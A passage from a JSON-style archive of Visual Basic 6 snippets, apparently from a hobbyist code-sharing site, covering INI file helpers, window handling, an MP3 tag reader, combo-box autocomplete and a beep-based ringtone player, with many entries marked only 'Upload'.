(x4 - x3) * (y2 - y1))\nIf d <> 0 Then\n 'Solve for the simultaneous equations\n Ua = ((x4 - x3) * (y1 - y3) - (y4 - y3) * (x1 - x3)) / d\n Ub = ((x2 - x1) * (y1 - y3) - (y2 - y1) * (x1 - x3)) / d\nEnd If\n'Could the lines intersect?\nIf Ua > 0 And Ua < 1 And Ub > 0 And Ub < 1 Then\n 'Calculate the intersection point\n x = x1 + Ua * (x2 - x1)\n y = y1 + Ua * (y2 - y1)\n 'Yes, they do\n Map_Line_Intersect = True\n intersect = True\nElse\n 'No, they do not\n Map_Line_Intersect = False\n intersect = False\nEnd If\nEnd Function\n"},{"WorldId":1,"id":6430,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5392,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5398,"LineNumber":1,"line":"Dim ReturnValue, I\nReturnValue = Shell(\"CALC.EXE\", 1)\t' Run Calculator.\nAppActivate ReturnValue \t' Activate the Calculator.\nFor I = 1 To 100\t' Set up counting loop.\nSendKeys I & \"{+}\", True\t' Send keystrokes to Calculator\nNext I\t' to add each value of I.\nSendKeys \"=\", True\t' Get grand total.\nSendKeys \"%{F4}\", True\t' Send ALT+F4 to close Calculator."},{"WorldId":1,"id":5883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6801,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10183,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5756,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6127,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5411,"LineNumber":1,"line":"Function GetKeyVal(ByVal INIFileLoc As String, ByVal Section As String, ByVal Key As String)\n'This Function retrieves information from an INI File\n'INIFileLoc = The location of the INI File (ex. \"C:\\Windows\\INIFile.ini\")\n'Section = Section where the Key is held\n'Key = The Key of which you want to retrieve information\n'Checking to see if the INI File specified exists\nIf Dir(INIFileLoc) = \"\" Then MsgBox \"File Not Found: \" & INIFileLoc & vbCrLf & \"Please refer to code in function 'GetKeyVal'\", vbExclamation, \"INI File Not Found\": Exit Function\n'If INI File exists then proceed to Get Key Value\nDim RetVal As String, Worked As Integer\nRetVal = String$(255, 0)\nWorked = GetPrivateProfileString(Section, Key, \"\", RetVal, Len(RetVal), INIFileLoc)\nIf Worked = 0 Then\n GetINI = \"\"\nElse\n GetINI = Left(RetVal, InStr(RetVal, Chr(0)) - 1)\nEnd If\nEnd Function\nFunction AddToINI(ByVal INIFileLoc As String, ByVal Section As String, ByVal Key As String, ByVal Value As String)\n'This Function adds a Section, Key, or Value to an INI file\n'Also used to CREATE NEW INI FILE\n'INIFileLoc = The location of the INI File (ex. \"C:\\Windows\\INIFile.ini\")\n'Section = The name of the referred to Section or newly created Section (ex. \"New Section 1\")\n'Key = The name of the referred to Key or newly created Key (ex. \"New Key 1\")\n'Value = The value to hold in the given Key (ex. \"New Info Held\")\n'Checking to see if the INI File specified exists\nIf Dir(INIFileLoc) = \"\" Then MsgBox \"File Not Found: \" & INIFileLoc & vbCrLf & \"Please refer to code in function 'AddToINI'\", vbExclamation, \"INI File Not Found\": Exit Function\n'If INI File exists then proceed to Add the information to the INI File\nWritePrivateProfileString Section, Key, Value, INIFileLoc\nEnd Function\nFunction DeleteSection(ByVal INIFileLoc As String, ByVal Section As String)\n'This Function Deletes a specified Section from an INI file\n'INIFileLoc = The location of the INI File (ex. \"C:\\Windows\\INIFile.ini\")\n'Section = The name of the Section you wish to remove (ex. \"Section Number 1\")\n'Checking to see if the INI File specified exists\nIf Dir(INIFileLoc) = \"\" Then MsgBox \"File Not Found: \" & INIFileLoc & vbCrLf & \"Please refer to code in function 'DeleteSection'\", vbExclamation, \"INI File Not Found\": Exit Function\n'If INI File exists then proceed to delete Section\nWritePrivateProfileString Section, vbNullString, vbNullString, INIFileLoc\n'NOTE: vbNullString is the coding in which to delete a Section, or Key\nEnd Function\nFunction DeleteKey(ByVal INIFileLoc As String, ByVal Section As String, ByVal Key As String)\n'This Function Deletes a Key in a specified Section from an INI file\n'INIFileLoc = The location of the INI File (ex. \"C:\\Windows\\INIFile.ini\")\n'Section = The name of the Section in which the Key to be deleted is held (ex. \"Section Number 1\")\n'Key = The name of the Key you wish to remove (ex. \"Key Number 5\")\n'Checking to see if the INI File specified exists\nIf Dir(INIFileLoc) = \"\" Then MsgBox \"File Not Found: \" & INIFileLoc & vbCrLf & \"Please refer to code in function 'DeleteKey'\", vbExclamation, \"INI File Not Found\": Exit Function\n'If INI File exists then proceed to delete Key\nWritePrivateProfileString Section, Key, vbNullString, INIFileLoc\n'NOTE: vbNullString is the coding in which to delete a Section, or Key\nEnd Function\nFunction DeleteKeyValue(ByVal INIFileLoc As String, ByVal Section As String, ByVal Key As String)\n'This Function deletes the value in a specified Key from an INI file\n'INIFileLoc = The location of the INI File (ex. \"C:\\Windows\\INIFile.ini\")\n'Section = The name of the Section in which the Key is held (ex. \"Section Number 1\")\n'Key = The name of the Key you wish to remove the value from (ex. \"Key Number 5\")\n'Checking to see if the INI File specified exists\nIf Dir(INIFileLoc) = \"\" Then MsgBox \"File Not Found: \" & INIFileLoc & vbCrLf & \"Please refer to code in function 'DeleteKeyValue'\", vbExclamation, \"INI File Not Found\": Exit Function\n'If INI File exists then proceed to delete Key Value\nWritePrivateProfileString Section, Key, \"\", INIFileLoc\n' \"\" = is a short way of saying Nothing\nEnd Function\nFunction RenameSection()\n'Coming Soon\nEnd Function\nFunction RenameKey()\n'Coming Soon\nEnd Function"},{"WorldId":1,"id":10534,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5443,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7062,"LineNumber":1,"line":"'Insert in Event (Like Button_Click)\nCall ShellAbout(Me.hwnd, \"- About Box Example\", \"A small example \" & \"that uses the ShellAbout Function to create an About Box.\", Me.Icon)"},{"WorldId":1,"id":5468,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6076,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6330,"LineNumber":1,"line":"Private Sub cmdUser_Click()\n'get the user from the current Outlook session\nDim ol As Outlook.Application\nDim ns As NameSpace\nDim oRec As Recipient\nSet ol = New Outlook.Application\nSet ns = ol.GetNamespace(\"MAPI\")\nCall ns.Logon(, , , False)\nSet oRec = ns.CurrentUser\nMsgBox oRec.Name\nEnd Sub\n"},{"WorldId":1,"id":5494,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5499,"LineNumber":1,"line":"Function FindWindowByTitle(Title As String)\nDim a, b, Caption\n a = getwindow(Form1.hWnd, GW_OWNER)\n Caption = GetCaption(a)\n If InStr(1, LCase(Caption), LCase(Title)) <> 0 Then\n FindWindowByTitle = b\n Exit Function\n End If\n b = a\n Do While b <> 0: DoEvents\n b = getwindow(b, GW_HWNDNEXT)\n Caption = GetCaption(b)\n If InStr(1, LCase(Caption), LCase(Title)) <> 0 Then\n FindWindowByTitle = b\n Exit Do\n Exit Function\n End If\n Loop\nEnd Function\nFunction GetCaption(hWnd)\n dim hwndLength%, hwndTitle$, a%\n hwndLength% = GetWindowTextLength(hWnd)\n hwndTitle$ = String$(hwndLength%, 0)\n a% = GetWindowText(hWnd, hwndTitle$, (hwndLength% + 1))\n GetCaption = hwndTitle$\nEnd Function\nSub KillWin(Title As String)\nDim a, hWnd\n hWnd = FindWindowByTitle(Title)\n a = sendmessagebystring(hWnd, WM_CLOSE, 0, 0)\nEnd Sub\nUse KillWin to close the window."},{"WorldId":1,"id":8784,"LineNumber":1,"line":"Function GetCaption(WindowhWnd)\n hwndlength% = GetWindowTextLength(WindowhWnd)\n hWndTitle$ = String$(hwndlength%, 0)\n a% = GetWindowText(WindowhWnd, hWndTitle$, (hwndlength% + 1))\n GetCaption = hWndTitle$\nEnd Function\nFunction CheckAllWindows(ByVal hwnd As Long, lParam As Long) As Boolean\n Dim a\n a = LCase(GetCaption(hwnd))\n If InStr(1, a, LCase(AppTitle)) <> 0 Then\n ApphWnd = hwnd\n CheckAllWindows = False\n Else\n CheckAllWindows = True\n End If\nEnd Function\nSub KillWin(Title As String)\n Dim a\n AppTitle = Title\n EnumWindows AddressOf CheckAllWindows, 0&\n If ApphWnd = 0 Then Exit Sub\n a = PostMessage(ApphWnd, WM_CLOSE, 0&, 0&)\nEnd Sub\n'-----Use KillWin to close the window. KillWin \"Title\""},{"WorldId":1,"id":5501,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5957,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5517,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5533,"LineNumber":1,"line":"Option Explicit\n'' This fixes some bugs in MP3 Snatch and provides an method of \"generating\"\n'' artist/title/album information based solely on the filename (for those files\n'' without ID3 tags.)\n'' John Lambert\n'' jrl7@po.cwru.edu\n'' http://home.cwru.edu/~jrl7/\n'' Version 1.0\n' Original Title: MP3 Snatch\n' Author: Leigh Bowers\n' WWW: http://www.esheep.freeserve.co.uk/compulsion/index.html\n' Email: compulsion@esheep.freeserve.co.uk\nPrivate mvarFilename As String\nPrivate Type Info\n sTitle As String\n sArtist As String\n sAlbum As String\n sComment As String\n sYear As String\n sGenre As String\nEnd Type\nPrivate MP3Info As Info\nPublic Property Get Filename() As String\n Filename = mvarFilename\nEnd Property\nPrivate Function IsValidFile(ByVal sFilename) As Boolean\n Dim bOk As Boolean\n ' make sure file exists\n bOk = CBool(Dir(sFilename, vbHidden) <> \"\")\n \n Dim aExtensions, ext\n aExtensions = Array(\".mp3\", \".mp2\", \".mp1\")\n Dim bOkayExtension As Boolean\n bOkayExtension = False\n If bOk Then\n For Each ext In aExtensions\n If InStr(1, sFilename, ext, vbTextCompare) > 0 Then\n bOkayExtension = True\n End If\n Next 'ext\n End If\n \n IsValidFile = bOk And bOkayExtension\nEnd Function\nPublic Property Let Filename(ByVal sPassFilename As String)\n Dim iFreefile As Integer\n Dim lFilePos As Long\n Dim sData As String * 128\n \n Dim sGenre() As String\n ' Genre\n Const sGenreMatrix As String = \"Blues|Classic Rock|Country|Dance|Disco|Funk|Grunge|\" + _\n \"Hip-Hop|Jazz|Metal|New Age|Oldies|Other|Pop|R&B|Rap|Reggae|Rock|Techno|\" + _\n \"Industrial|Alternative|Ska|Death Metal|Pranks|Soundtrack|Euro-Techno|\" + _\n \"Ambient|Trip Hop|Vocal|Jazz+Funk|Fusion|Trance|Classical|Instrumental|Acid|\" + _\n \"House|Game|Sound Clip|Gospel|Noise|Alt. Rock|Bass|Soul|Punk|Space|Meditative|\" + _\n \"Instrumental Pop|Instrumental Rock|Ethnic|Gothic|Darkwave|Techno-Industrial|Electronic|\" + _\n \"Pop-Folk|Eurodance|Dream|Southern Rock|Comedy|Cult|Gangsta Rap|Top 40|Christian Rap|\" + _\n \"Pop/Punk|Jungle|Native American|Cabaret|New Wave|Phychedelic|Rave|Showtunes|Trailer|\" + _\n \"Lo-Fi|Tribal|Acid Punk|Acid Jazz|Polka|Retro|Musical|Rock & Roll|Hard Rock|Folk|\" + _\n \"Folk/Rock|National Folk|Swing|Fast-Fusion|Bebob|Latin|Revival|Celtic|Blue Grass|\" + _\n \"Avantegarde|Gothic Rock|Progressive Rock|Psychedelic Rock|Symphonic Rock|Slow Rock|\" + _\n \"Big Band|Chorus|Easy Listening|Acoustic|Humour|Speech|Chanson|Opera|Chamber Music|\" + _\n \"Sonata|Symphony|Booty Bass|Primus|Porn Groove|Satire|Slow Jam|Club|Tango|Samba|Folklore|\" + _\n \"Ballad|power Ballad|Rhythmic Soul|Freestyle|Duet|Punk Rock|Drum Solo|A Capella|Euro-House|\" + _\n \"Dance Hall|Goa|Drum & Bass|Club-House|Hardcore|Terror|indie|Brit Pop|Negerpunk|Polsk Punk|\" + _\n \"Beat|Christian Gangsta Rap|Heavy Metal|Black Metal|Crossover|Comteporary Christian|\" + _\n \"Christian Rock|Merengue|Salsa|Trash Metal|Anime|JPop|Synth Pop\"\n ' Build the Genre array (VB6+ only)\n sGenre = Split(sGenreMatrix, \"|\")\n ' Store the filename (for \"Get Filename\" property)\n mvarFilename = sPassFilename\n ' Clear the info variables\n \n If Not IsValidFile(sPassFilename) Then ' bug fix\n Exit Property\n End If\n \n MP3Info.sTitle = \"\"\n MP3Info.sArtist = \"\"\n MP3Info.sAlbum = \"\"\n MP3Info.sYear = \"\"\n MP3Info.sComment = \"\"\n ' Ensure the MP3 file exists\n ' Retrieve the info data from the MP3\n iFreefile = FreeFile\n lFilePos = FileLen(mvarFilename) - 127\n If lFilePos > 0 Then ' bug fix\n Open mvarFilename For Binary As #iFreefile\n Get #iFreefile, lFilePos, sData\n Close #iFreefile\n End If\n \n ' Populate the info variables\n If Left(sData, 3) = \"TAG\" Then\n MP3Info.sTitle = Mid(sData, 4, 30)\n MP3Info.sArtist = Mid(sData, 34, 30)\n MP3Info.sAlbum = Mid(sData, 64, 30)\n MP3Info.sYear = Mid(sData, 94, 4)\n MP3Info.sComment = Mid(sData, 98, 30)\n Dim lGenre\n lGenre = Asc(Mid(sData, 128, 1))\n If lGenre <= UBound(sGenre) Then\n MP3Info.sGenre = sGenre(lGenre)\n Else\n MP3Info.sGenre = \"\"\n End If\n Else\n \n MP3Info = GetInfo(mvarFilename)\n End If\nEnd Property\n'' Try to get something meaningful out of the filename\nPrivate Function GetInfo(ByVal sFilename) As Info\n Dim i As Info\n GetInfo = i\n Dim s\n s = sFilename\n If InStrRev(s, \"\\\") > 0 Then 'it's a full path\n s = Mid(s, InStrRev(s, \"\\\") + 1)\n End If\n \n 'drop extension\n s = Left(s, InStrRev(s, \".\", , vbTextCompare) - 1)\n s = Replace(Trim(s), \" \", \" \")\n s = Trim(s)\n \n If CountItems(s, \" \") < 1 Then\n i.sTitle = Replace(s, \"_\", \" \")\n GetInfo = i\n Exit Function\n End If\n \n s = Trim(Replace(s, \"_\", \" \"))\n \n If Left(s, 1) = \"(\" And CountItems(s, \"-\") < 3 Then\n i.sArtist = Mid(s, 2, InStr(s, \")\") - 2)\n s = Trim(Mid(s, InStr(s, \")\") + 1))\n If Left(s, 1) = \"-\" Then 'grab title\n i.sTitle = Trim(Mid(s, 2))\n Else 'grab title anyway\n If InStr(s, \"-\") > 0 Then\n i.sAlbum = Mid(s, InStr(s, \"-\") + 1)\n i.sTitle = Left(s, InStr(s, \"-\") - 1)\n Else\n i.sTitle = Trim(s)\n End If\n End If\n Else\n Dim aThings\n Dim l\n aThings = Split(s, \"- \")\n For l = 0 To UBound(aThings)\n If Not IsNumeric(aThings(l)) Then\n If i.sArtist = \"\" Then\n i.sArtist = aThings(l)\n Else\n If IsNumeric(aThings(l - 1)) Then ' title\n If i.sTitle = \"\" Then\n i.sTitle = aThings(l)\n End If\n ElseIf i.sAlbum = \"\" Then\n i.sAlbum = aThings(l)\n End If\n End If\n End If\n Next ' i\n \n End If\n \n i.sArtist = Replace(Replace(i.sArtist, \"(\", \"\"), \")\", \"\")\n \n If Left(s, 1) <> \"(\" And i.sTitle = \"\" And (InStr(sFilename, \"\\\") <> InStrRev(sFilename, \"\\\")) Then\n ' recurse\n GetInfo = GetInfo(FixDir(sFilename))\n Else\n GetInfo = i\n End If\nEnd Function\nPrivate Function CountItems(s, sToCount)\n Dim a\n a = Split(s, sToCount)\n If UBound(a) = -1 Then\n CountItems = 0\n Else\n CountItems = UBound(a) - LBound(a)\n End If\nEnd Function\nPrivate Function FixDir(sFullpath)\n Dim s1, s2\n s1 = Trim(Left(sFullpath, InStrRev(sFullpath, \"\\\") - 1))\n s2 = Trim(Mid(sFullpath, InStrRev(sFullpath, \"\\\") + 1))\n FixDir = s1 & \" - \" & s2\nEnd Function\nPublic Property Get Title() As String\n Title = Trim(MP3Info.sTitle)\nEnd Property\nPublic Property Get Artist() As String\n Artist = Trim(MP3Info.sArtist)\nEnd Property\nPublic Property Get Genre() As String\n Genre = Trim(MP3Info.sGenre)\nEnd Property\nPublic Property Get Album() As String\n Album = Trim(MP3Info.sAlbum)\nEnd Property\nPublic Property Get Year() As String\n Year = Trim(MP3Info.sYear)\nEnd Property\nPublic Property Get Comment() As String\n Comment = Trim(MP3Info.sComment)\nEnd Property\n"},{"WorldId":1,"id":5537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6440,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5570,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5581,"LineNumber":1,"line":"'open IE and default mail program with email address \nShell (\"explorer mailto: youremail@email.com\") \n'opens IE and navigates to a specified web site 'from your program \nShell (\"explorer http://www.yoursite.com\")"},{"WorldId":1,"id":9067,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9316,"LineNumber":1,"line":"Public Sub MakeLink(LabelName As Label, Operation As OpType, Optional FormName As Form)\n Dim Openpage As Integer\n \n Select Case Operation\n Case LinkMove\n LabelName.ForeColor = 255\n LabelName.FontUnderline = True\n Case Click\n Openpage = ShellExecute(FormName.hwnd, \"Open\", LabelName.Caption, \"\", App.Path, 1)\n LabelName.ForeColor = 8388736\n Clicked = True\n Case FormMove\n LabelName.FontUnderline = False\n If Not Clicked Then\n LabelName.ForeColor = 16711680\n Else\n LabelName.ForeColor = 8388736\n End If\n Case Startup\n LabelName.ForeColor = 16711680\n End Select\nEnd Sub"},{"WorldId":1,"id":9165,"LineNumber":1,"line":"Public Function Splitter(SplitString As String, SplitLetter As String) As Variant\n ReDim SplitArray(1 To 1) As Variant\n Dim TempLetter As String\n Dim TempSplit As String\n Dim i As Integer\n Dim x As Integer\n Dim StartPos As Integer\n \n SplitString = SplitString & SplitLetter\n For i = 1 To Len(SplitString)\n TempLetter = Mid(SplitString, i, Len(SplitLetter))\n If TempLetter = SplitLetter Then\n TempSplit = Mid(SplitString, (StartPos + 1), (i - StartPos) - 1)\n If TempSplit <> \"\" Then\n x = x + 1\n ReDim Preserve SplitArray(1 To x) As Variant\n SplitArray(x) = TempSplit\n End If\n StartPos = i\n End If\n Next i\n Splitter = SplitArray\nEnd Function\n"},{"WorldId":1,"id":8149,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8151,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6013,"LineNumber":1,"line":"webBrowser.ExecWB OLECMDID_PRINT, OLECMDEXECOPT_DONTPROMPTUSER\n"},{"WorldId":1,"id":6608,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10390,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10339,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5826,"LineNumber":1,"line":"Function ReadINI(keyname As String, filename As String) As String\nOpen filename For Input Access Read As 1\nDo Until EOF(1)\n Line Input #1, stemp\n ipos = InStr(stemp, keyname & \"=\")\n If ipos Then\n strinnick = strinnick + stemp\n ifound = True\n Allofit$ = strinnick\n wow$ = Mid(Allofit$, Len(keyname) + 2)\n GetINI = wow$\n Close 1\n Exit Function\n End If\nLoop\n Close 1\nEnd Function\n'Written by: Dan Einarsson"},{"WorldId":1,"id":6087,"LineNumber":1,"line":"Private Sub Combo1_Change()\n Dim i As Integer\n Dim l As Long\n Dim strNewText As String\n ' Check to see if a search is required.\n If Not IgnoreTextChange And Combo1.ListCount > 0 Then\n l = SendMessage(Combo1.hwnd, CB_FINDSTRING, -1, ByVal CStr(Combo1.Text))\n strNewText = Combo1.List(l)\n If Len(Combo1.Text) <> Len(strNewText) Then\n ' Partial match found\n ' Avoid recursively entering this event\n IgnoreTextChange = True\n i = Len(Combo1.Text)\n ' Attach the full text from the list to what has\n ' already been entered. This technique preserves\n ' the case entered by the user.\n Combo1.Text = Combo1.Text & Mid$(strNewText, i + 1)\n ' Select the text that is auto-entered\n Combo1.SelStart = i\n Combo1.SelLength = Len(Mid$(strNewText, i + 1))\n End If\n Else\n ' The IgnoreTwextChange Flag is only effective for one\n ' Changed event.\n IgnoreTextChange = False\n End If\nEnd Sub\n\nPrivate Sub Combo1_GotFocus()\n ' Select existing text on entry to the combo box\n Combo1.SelStart = 0\n Combo1.SelLength = Len(Combo1.Text)\nEnd Sub\n\nPrivate Sub Combo1_KeyDown(KeyCode As Integer, Shift As Integer)\n ' If a user presses the \"Delete\" key, then the selected text\n ' is removed.\n If KeyCode = vbKeyDelete And Combo1.SelText <> \"\" Then\n ' Make sure that the text is not automatically re-entered\n ' as soon as it is deleted\n IgnoreTextChange = True\n Combo1.SelText = \"\"\n KeyCode = 0\n End If\nEnd Sub\n\nPrivate Sub Combo1_KeyPress(KeyAscii As Integer)\n ' If a user presses the \"Backspace\" key, then the selected text\n ' is removed. Autosearch is not re-performed, as that would only\n ' put it straight back again.\n If KeyAscii = 8 Then\n IgnoreTextChange = True\n If Len(Combo1.SelText) Then\n Combo1.SelText = \"\"\n KeyAscii = 0\n End If\n End If\n 'if user presses enter, select the listindex\n If KeyAscii = 13 Then\n Combo1.ListIndex = SendMessage(Combo1.hwnd, CB_FINDSTRING, -1, ByVal CStr(Combo1.Text))\n End If\nEnd Sub\n"},{"WorldId":1,"id":5593,"LineNumber":1,"line":"Private Sub mnuCloseAll_Click()\n Screen.MousePointer = vbHourglass\n Do While Not (Me.ActiveForm Is Nothing) \n Unload Me.ActiveForm \n Loop \n Screen.MousePointer = vbDefault \nEnd Sub\n'Once the user clicks on that menu item, the MDI child forms will close.\n"},{"WorldId":1,"id":5602,"LineNumber":1,"line":"Function Fix_Apostrophe(ByVal S As String) As String\n Dim i As Integer, ch As String, Ret As String\n If IsNull(S) Then Exit Function\n Ret = \"\"\n For i = 1 To Len(S)\n ch = Mid$(S, i, 1) ' the current charcater\n Ret = Ret & ch\n ' If the character is a single quote add a second one.\n If ch = \"'\" Then\n Ret = Ret & ch\n End If\n Next\n Fix_Apostrophe = Ret\nEnd Function\n"},{"WorldId":1,"id":5606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9540,"LineNumber":1,"line":"First, create a new project. now, click on the menu editor. tpye in a name for the menu(i.e. file), and set it's properties to not visible. now create some sub menu's by clicking on the line directly below where your first menu is. then click on the arrow that is pointing to the right. four little dots should appear before the menu name( i.e. ....&New). keep on creating sub menu's until your heart's content[note, you can have sub menu's of the sub menu's. just click the right arrow again]. keep all of the sub menu's visible but only set the original file(or whatever you names it) not visible. now exit the menu editor. click on view code(or double click on the form). from the left hand side combo box(which is located directly above the code input area), make sure that form1(or whatever the name of the form is) is selected. then look at the right hand combo box, select the mousedown event. the event has 4 variables, each mean somehtign different.\nButton = which mouse button was clicked. if button = 1 then the first mouse button was clicked(which is the mouse button that you use to select items and navigate). if button = 2 then that is the mouse button that you use to bring up popup menu's in windows(i.e. when you click that mouse button on your desktop and are able to select menu;s like new or properties). and button = 3 (which is for the 3 buttoned mice out there.).\nShift = tell whether the shift button is being held. shift = 1 then button is being held, shift = 0 the shift button isnt being held.\nx =this is the location where the popup menu will be on the left side of the screen. the bigger the number the farther from the left side of the screen it goes, the smaller number the closer to the left side of the screen it goes.\ny =this is the same thign as x except that y control the top of the screen, the smaller the number the closer to the top, the larger the number the closer to the bottom.\nNow that you know what all the variables mean, it's time to add the code.\nyou can use 2 different statements (that i know of[i keep learning new thigns, don't we all]) that you can use to choose whether the menu will opup or not.\nfirst is the if statement(which i use because it is easier for this purpose and doesnt need ot be complex).\nlet's say you wanted your popupmenu to come up at the x location of 300 and the y location of 300 when the user clicks the number 2 mouse button. you'd put in this.\nif button = 2 then\nme.popupmenu file,,300,300 \n'in the place of file that i have here use whatever you named the very first menu(not the submenu's)\nend if\nREMEMBER YOU MUST HAVE SUBMENU'S TO MAKE A POPUP MENU.\nyou can play with that so that the menu will popup when the first mouse button is clicked or the 3rd. you can make it come up at x300 and y300 or if you want it to come up where ever the user clicked just put\nme.popupmenu file\nthe other is the select case. say you wanted only certain menu's to come up with certain mouse lcis, the if statement for this type is too slow and is messy. you would still use the same code as above for the popup menu, but in a select case format.\nyou can make popup menu's only come up on certain object by going to view>code and then choosing say a text box. then choose the mousedown event for the text box control.\nI hope that this helps some people. If you need any help, i will be happy to send you the source code or give you any help you need.\n-Sean\n"},{"WorldId":1,"id":5645,"LineNumber":1,"line":"Option Explicit\nPrivate Declare Function Beep Lib \"kernel32\" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long\nPrivate Declare Sub Sleep Lib \"kernel32\" (ByVal dwMilliseconds As Long)\nPrivate colFrequencies As Collection\nPublic Sub PlayRTTTL(ByVal RTTTL As String)\n Dim colNotes As Collection\n Dim i As Long\n \n Set colNotes = GetNotesFromRTTTL(RTTTL)\n For i = 1 To colNotes.Count\n PlayNote Trim$(Left$(colNotes(i), 5)), Val(Mid$(colNotes(i), 5))\n Next i\nEnd Sub\nPrivate Sub PlayNote(ByVal sNote As String, ByVal lDuration As Long)\n On Error GoTo PlayNote_err\n \n Dim lFrequency As Long\n \n If colFrequencies Is Nothing Then\n Set colFrequencies = New Collection\n colFrequencies.Add 32.703, \"C2\"\n colFrequencies.Add 34.648, \"C#2\"\n colFrequencies.Add 36.708, \"D2\"\n colFrequencies.Add 38.891, \"D#2\"\n colFrequencies.Add 41.203, \"E2\"\n colFrequencies.Add 43.654, \"F2\"\n colFrequencies.Add 46.249, \"F#2\"\n colFrequencies.Add 48.999, \"G2\"\n colFrequencies.Add 51.913, \"G#2\"\n colFrequencies.Add 55, \"A2\"\n colFrequencies.Add 58.27, \"A#2\"\n colFrequencies.Add 61.735, \"B2\"\n colFrequencies.Add 65.406, \"C3\"\n colFrequencies.Add 69.296, \"C#3\"\n colFrequencies.Add 73.416, \"D3\"\n colFrequencies.Add 77.782, \"D#3\"\n colFrequencies.Add 82.407, \"E3\"\n colFrequencies.Add 87.307, \"F3\"\n colFrequencies.Add 92.499, \"F#3\"\n colFrequencies.Add 97.999, \"G3\"\n colFrequencies.Add 103.826, \"G#3\"\n colFrequencies.Add 110, \"A3\"\n colFrequencies.Add 116.541, \"A#3\"\n colFrequencies.Add 123.471, \"B3\"\n colFrequencies.Add 130.813, \"C4\"\n colFrequencies.Add 138.591, \"C#4\"\n colFrequencies.Add 146.832, \"D4\"\n colFrequencies.Add 155.564, \"D#4\"\n colFrequencies.Add 164.814, \"E4\"\n colFrequencies.Add 174.614, \"F4\"\n colFrequencies.Add 184.997, \"F#4\"\n colFrequencies.Add 195.998, \"G4\"\n colFrequencies.Add 207.652, \"G#4\"\n colFrequencies.Add 220, \"A4\"\n colFrequencies.Add 233.082, \"A#4\"\n colFrequencies.Add 246.942, \"B4\"\n colFrequencies.Add 261.626, \"C5\"\n colFrequencies.Add 277.183, \"C#5\"\n colFrequencies.Add 293.665, \"D5\"\n colFrequencies.Add 311.127, \"D#5\"\n colFrequencies.Add 329.628, \"E5\"\n colFrequencies.Add 349.228, \"F5\"\n colFrequencies.Add 369.994, \"F#5\"\n colFrequencies.Add 391.995, \"G5\"\n colFrequencies.Add 415.305, \"G#5\"\n colFrequencies.Add 440, \"A5\"\n colFrequencies.Add 466.164, \"A#5\"\n colFrequencies.Add 493.883, \"B5\"\n colFrequencies.Add 523.251, \"C6\"\n colFrequencies.Add 554.365, \"C#6\"\n colFrequencies.Add 587.33, \"D6\"\n colFrequencies.Add 622.254, \"D#6\"\n colFrequencies.Add 659.255, \"E6\"\n colFrequencies.Add 698.457, \"F6\"\n colFrequencies.Add 739.989, \"F#6\"\n colFrequencies.Add 783.991, \"G6\"\n colFrequencies.Add 830.609, \"G#6\"\n colFrequencies.Add 880, \"A6\"\n colFrequencies.Add 932.328, \"A#6\"\n colFrequencies.Add 987.767, \"B6\"\n colFrequencies.Add 1046.502, \"C7\"\n colFrequencies.Add 1108.731, \"C#7\"\n colFrequencies.Add 1174.659, \"D7\"\n colFrequencies.Add 1244.508, \"D#7\"\n colFrequencies.Add 1318.51, \"E7\"\n colFrequencies.Add 1396.913, \"F7\"\n colFrequencies.Add 1479.978, \"F#7\"\n colFrequencies.Add 1567.982, \"G7\"\n colFrequencies.Add 1661.219, \"G#7\"\n colFrequencies.Add 1760, \"A7\"\n colFrequencies.Add 1864.655, \"A#7\"\n colFrequencies.Add 1975.533, \"B7\"\n colFrequencies.Add 2093.005, \"C8\"\n colFrequencies.Add 2217.461, \"C#8\"\n colFrequencies.Add 2349.318, \"D8\"\n colFrequencies.Add 2489.016, \"D#8\"\n colFrequencies.Add 2637.021, \"E8\"\n colFrequencies.Add 2793.826, \"F8\"\n colFrequencies.Add 2959.956, \"F#8\"\n colFrequencies.Add 3135.964, \"G8\"\n colFrequencies.Add 3322.438, \"G#8\"\n colFrequencies.Add 3520, \"A8\"\n colFrequencies.Add 3729.31, \"A#8\"\n colFrequencies.Add 3951.066, \"B8\"\n colFrequencies.Add 4186.009, \"C9\"\n colFrequencies.Add 4434.922, \"C#9\"\n colFrequencies.Add 4698.637, \"D9\"\n colFrequencies.Add 4978.032, \"D#9\"\n colFrequencies.Add 5274.042, \"E9\"\n colFrequencies.Add 5587.652, \"F9\"\n colFrequencies.Add 5919.912, \"F#9\"\n colFrequencies.Add 6271.928, \"G9\"\n colFrequencies.Add 6644.876, \"G#9\"\n colFrequencies.Add 7040, \"A9\"\n colFrequencies.Add 7458.62, \"A#9\"\n colFrequencies.Add 7902.133, \"B9\"\n colFrequencies.Add 8372.019, \"C10\"\n colFrequencies.Add 8869.845, \"C#10\"\n colFrequencies.Add 9397.273, \"D10\"\n colFrequencies.Add 9956.064, 